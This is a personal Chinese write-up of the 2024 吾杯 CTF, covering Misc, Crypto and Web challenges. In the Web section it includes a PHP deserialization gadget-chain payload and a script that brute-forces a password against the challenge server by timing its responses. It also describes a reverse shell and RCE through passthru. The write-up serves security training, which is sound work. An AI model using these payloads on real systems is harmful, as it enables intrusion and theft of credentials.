2024吾杯CTF部分个人WP

目录

Misc

原神启动!

旋转木马

Sign

太极

Crypto

Easy

Web

Sign

ezPHP

TimeCage

HelloHacker


Misc

原神启动!

第一层密码在LSB通道中,我以为这是flag......

解压docx文件,通过改变字体颜色、背景颜色、显示隐藏文字操作

这里发现一个白色图片

将图片放到PS中改变背景颜色,拿到一段密码

在图片后面发现另一个密码

在img里面有个加密的压缩包,一直解压即可拿到flag

旋转木马

这里试了很多方法,先开始以为是词频统计+异或、base64隐写。后来看了文件名,flag1、flag2,这里想到把俩个文件合并

拼接起来,尝试base64解码,没有报错,猜想是多次base64解码,

写个脚本先解码50次:

python 复制代码
import base64
def decode_base64(file_path, iterations=50):
    # 读取文件
    with open(file_path, 'rb') as file:
        encoded_data = file.read()
    
    # 进行指定次数的Base64解码
    for i in range(iterations):
        try:
            # 每次解码
            encoded_data = base64.b64decode(encoded_data)
            print(f"Iteration {i+1}: Successfully decoded")
        except Exception as e:
            print(f"Error during iteration {i+1}: {e}")
            break
    
    return encoded_data

# 使用示例
if __name__ == "__main__":
    input_file_path = 'flag1'  # 请替换成你要解码的文件路径
    output_file_path = 'decoded_output.txt'  # 解码后的输出文件

    decoded_data = decode_base64(input_file_path, 50)
    
    # 将最终的解码结果保存到文件
    with open(output_file_path, 'wb') as output_file:
        output_file.write(decoded_data)

print(f"Decoding finished. The result is saved to {output_file_path}")

之后在手动解码几次,拿到一个16进制字符串,16进制转ASCII码,拿到flag

Sign

随波逐流梭哈

太极

太极生两仪-两仪生四象-四象生八卦-八卦定吉凶-吉凶生大业

这里给了提示才知道意思:

根据所给提示:

前五个:太极生两仪

分别取他的拼音的12345位,先开始以为是12321,

后来想到太极循环。如果不够五位就循环

依次拼接就拿到flag

Crypto

Easy

结合AI,分析所给题目,是段加密代码,写了对应的解密脚本直接梭哈。

python 复制代码
def rc4_decrypt(key, ciphertext):
    key_length = len(key)
    s = list(range(256))
    t = [ord(key[i % key_length]) for i in range(256)]
    j = 0

    # Key-scheduling algorithm (KSA)
    for i in range(256):
        j = (j + s[i] + t[i]) % 256
        s[i], s[j] = s[j], s[i]  # Swap

    # PRGA (Pseudorandom Generation Algorithm)
    i = 0
    j = 0
    decrypted_flag = []

    for m in range(len(ciphertext)):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]  # Swap
        x = (s[i] + s[j]) % 256
        decrypted_byte = ciphertext[m] ^ s[x]  # Decrypt by XOR with keystream
        decrypted_flag.append(decrypted_byte)

    # Convert the decrypted flag to a string
    decrypted_flag = ''.join(chr(byte) for byte in decrypted_flag)
    return decrypted_flag

# 示例:已知密钥和加密后的flag
key = "hello world"
# 假设flag是加密后的数据(例如ASCII码值的列表),你可以根据实际情况从文件读取
ciphertext = [0xd8,0xd2,0x96,0x3e,0x0d,0x8a,0xb8,0x53,0x3d,0x2a,0x7f,0xe2,0x96,0xc5,0x29,0x23,0x39,0x24,0x6e,0xba,0x0d,0x29,0x2d,0x57,0x52,0x57,0x83,0x59,0x32,0x2c,0x3a,0x77,0x89,0x2d,0xfa,0x72,0x61,0xb8,0x4f]  # 这是一个示例密文

# 解密
decrypted_flag = rc4_decrypt(key, ciphertext)
print(f"解密后的 flag: {decrypted_flag}")

Web

Sign

Post传参+RCE梭哈

ezPHP

找到一个历史CVE,复现了一下,拿到源码

拿到反序列化源码,这里构造链子比较简单,但是并没有回显。

这里测试过,传入&a=1不会被unset。尝试file_get_contents文件包含,

python 复制代码
<?php
error_reporting(0);

class a{
    public $OAO;
    public $QAQ;
    public $OVO;
    public function __toString(){
        if(!preg_match('/hello/', OVO)){
            if ($this->OVO === "hello") {
                return $this->OAO->QAQ;
            }
        }
    }
    public function __invoke(){
        return $this->OVO;
    }
}

class b{
    public $pap;
    public $vqv;
    public function __get($key){
        $functioin = $this->pap;
        return $functioin();
    }
    public function __toString(){
        return $this->vqv;
    }
}
class c{
    public $OOO;
    public function __invoke(){
        @$_ = $this->OOO;
        $___ = $_GET;
        var_dump($___);
        if (isset($___['h_in.t'])) {
            unset($___['h_in.t']);
        }
        var_dump($___);
        echo @call_user_func($_,$___);
    }
}
class d{
    public $UUU;
    public $uuu;
    public function __wakeup(){
        echo $this->UUU;
    }
    public function __destruct(){
        $this->UUU;
    }
}
$a=new d();
$a->UUU=new a();
$a->UUU->OVO="hello";
$a->UUU->OAO=new b();
$a->UUU->OAO->pap=new c();
$a->UUU->OAO->pap->OOO="file_get_contents";
echo serialize($a);
?>

TimeCage

根据页面代码,target的值等于114+当前时间的秒数*100000,用户输入的值,要和target的值相同,当当前秒数为0,input=114即可,结合AI生成一个脚本,读取页面返回内容

python 复制代码
import requests
import time

# 发送请求
def send_request():
    url = "http://challenge.wucup.cn:48976/?input=114"
    response = requests.get(url)
    return response.text


def main():
    while True:
        # 获取当前秒数
        current_time_second = time.localtime().tm_sec  
        if current_time_second == 0:
            print("At second 0, sending request with input=114")
            response_content = send_request()  
            print("Response:", response_content)
            break
        else:
            print(f"Waiting for 0 second, current second is {current_time_second}")

        time.sleep(1)


if __name__ == "__main__":
    main()

拿到key1:Trapping2147483647.php

又是代码审计,这里需要我们输入密码,密码为八位纯数字,且第一位爆破成功,页面响应会延迟一秒,第二位爆破成功,页面响应会延迟俩秒,以此类推,写一个脚本:

python 复制代码
import requests
import time

# 目标服务器的URL(根据实际情况修改)
url = "http://challenge.wucup.cn:48976/Trapping2147483647.php"  # 这里替换为实际的登录请求 URL

# 爆破密码的函数
def brute_force_password():
    # 初始密码模板,8位数字密码
    password = ['0', '0', '0', '0', '0', '0', '0', '0']
    
    # 遍历密码的每一位
    for i in range(8):
        # 枚举每个数字(0-9),尝试逐个验证
        for digit in range(10):
            password[i] = str(digit)
            # 生成当前尝试的密码
            current_pass = ''.join(password)
            
            # POST请求,传递参数
            response = requests.post(url, data={'pass': current_pass})
            
            # 模拟服务器延迟响应时间
            if response.status_code == 200:
                # 假设服务器根据密码正确性响应延迟
                delay_time = i + 1
                if response.elapsed.total_seconds() > delay_time:
                    # 如果响应时间大于预计的延迟时间,说明这一位正确
                    print(f"密码的第{i+1}位是 {current_pass[i]}")
                    break
                else:
                    print(f"密码的第{i+1}位不是 {current_pass[i]}")
            else:
                print(f"请求失败,状态码: {response.status_code}")

# 执行爆破密码
if __name__ == "__main__":
    brute_force_password()

猜出密码:

Pass=56983215

第三步:The final challenge in ++++EscapeEsc@p3Escape.php++++

这里他过滤了很多参数,,我试了半天,没有回显,尝试了dnslog和反弹shell,

IFS绕过空格,用base64绕过正则,反弹shell

HelloHacker

这里incompetent要传入HelloHacker,但是prohibited.txt过滤了很多,爆破试出来oxzverapn没有被过滤,用passthru尝试rce。继续读取flag

相关推荐
kali-Myon2 小时前
2025春秋杯网络安全联赛冬季赛-day2
python·安全·web安全·ai·php·pwn·ctf
天荒地老笑话么2 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
kali-Myon3 小时前
2025春秋杯网络安全联赛冬季赛-day3
python·安全·web安全·ai·php·web·ctf
23zhgjx-zgx3 小时前
USB 设备通信数据包审计与键值解析报告
网络·ctf·流量
大方子20 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全